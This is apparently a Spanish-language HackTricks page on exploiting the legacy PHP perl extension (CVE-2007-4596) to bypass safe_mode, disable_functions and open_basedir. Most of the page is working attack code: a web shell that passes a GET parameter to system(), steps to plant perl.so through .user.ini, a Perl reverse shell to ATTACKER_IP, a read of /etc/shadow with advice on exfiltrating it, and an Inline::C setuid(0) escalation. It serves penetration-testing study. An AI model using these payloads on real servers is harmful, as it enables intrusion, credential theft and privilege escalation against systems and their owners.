PHP Perl Extension Safe_mode Bypass Exploit
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Antecedentes
El problema registrado como CVE-2007-4596 proviene de la extensión PHP heredada perl, que incrusta un intérprete Perl completo sin respetar los controles de PHP safe_mode, disable_functions o open_basedir. Cualquier worker PHP que cargue extension=perl.so obtiene eval de Perl sin restricciones, por lo que la ejecución de comandos sigue siendo trivial incluso cuando todas las primitivas clásicas de spawn de procesos de PHP están bloqueadas. Aunque safe_mode desapareció en PHP 5.4, muchas pilas de hosting compartido obsoletas y laboratorios vulnerables todavía lo incluyen, por lo que este bypass sigue siendo valioso cuando llegas a paneles de control legacy.
Compatibilidad y estado de empaquetado (2025)
- La última release de PECL (
perl-1.0.1, 2013) apunta a PHP ≥5.0; PHP 8+ generalmente falla porque las APIs de Zend cambiaron. - PECL está siendo reemplazado por PIE, pero pilas más antiguas aún incluyen PECL/pear. Usa el flujo abajo en objetivos PHP 5/7; en PHP más recientes espera tener que downgradear o cambiar a otra ruta de inyección (por ejemplo, userland FFI).
Preparando un entorno de pruebas en 2025
- Obtén
perl-1.0.1desde PECL, compílalo para la rama de PHP que planeas atacar, y cárgalo globalmente (php.ini) o víadl()(si está permitido). - Receta rápida para laboratorio basada en Debian:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
- Durante la explotación confirma la disponibilidad con
var_dump(extension_loaded('perl'));oprint_r(get_loaded_extensions());. Si falta, buscaperl.soo abusa de entradas dephp.ini/.user.iniescribibles para forzar su carga. - Debido a que el intérprete vive dentro del worker PHP, no se necesitan binarios externos: los filtros de egress de red o las listas negras para
proc_openno importan.
Cadena de compilación en el host cuando phpize está accesible
Si phpize y build-essential están presentes en el host comprometido, puedes compilar y dejar perl.so sin invocar la shell del sistema operativo:
# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini
Si open_basedir está aplicado, asegúrate de que los .user.ini y .so colocados residan en una ruta permitida; la directiva extension= aún se respeta dentro del basedir. El flujo de compilación refleja el manual de PHP para construir extensiones PECL.
PoC original (NetJackal)
Desde http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, sigue siendo útil para confirmar que la extensión responde a eval:
<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "</textarea>";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>
Mejoras modernas de Payload
1. Full TTY sobre TCP
El intérprete embebido puede cargar IO::Socket incluso si /usr/bin/perl está bloqueado:
$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN, '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);
2. File-System Escape Incluso con open_basedir
Perl ignora open_basedir de PHP, por lo que puedes leer archivos arbitrarios:
$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');
Encamina la salida a través de IO::Socket::INET o Net::HTTP para exfiltrar datos sin tocar los descriptores gestionados por PHP.
3. Compilación inline para Privilege Escalation
Si Inline::C existe a nivel del sistema, compila helpers dentro de la petición sin depender de ffi o pcntl de PHP:
$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);
4. Enumeración Living-off-the-Land
Trata a Perl como una caja de herramientas LOLBAS — p. ej., extrae los DSNs de MySQL aunque mysqli no esté presente:
$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');
Referencias
- CVE-2007-4596 resumen y cronología
- Información del paquete de la extensión perl de PECL
- Manual de PHP: construir extensiones PECL con phpize
- Página principal de PECL anunciando el reemplazo de PIE
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


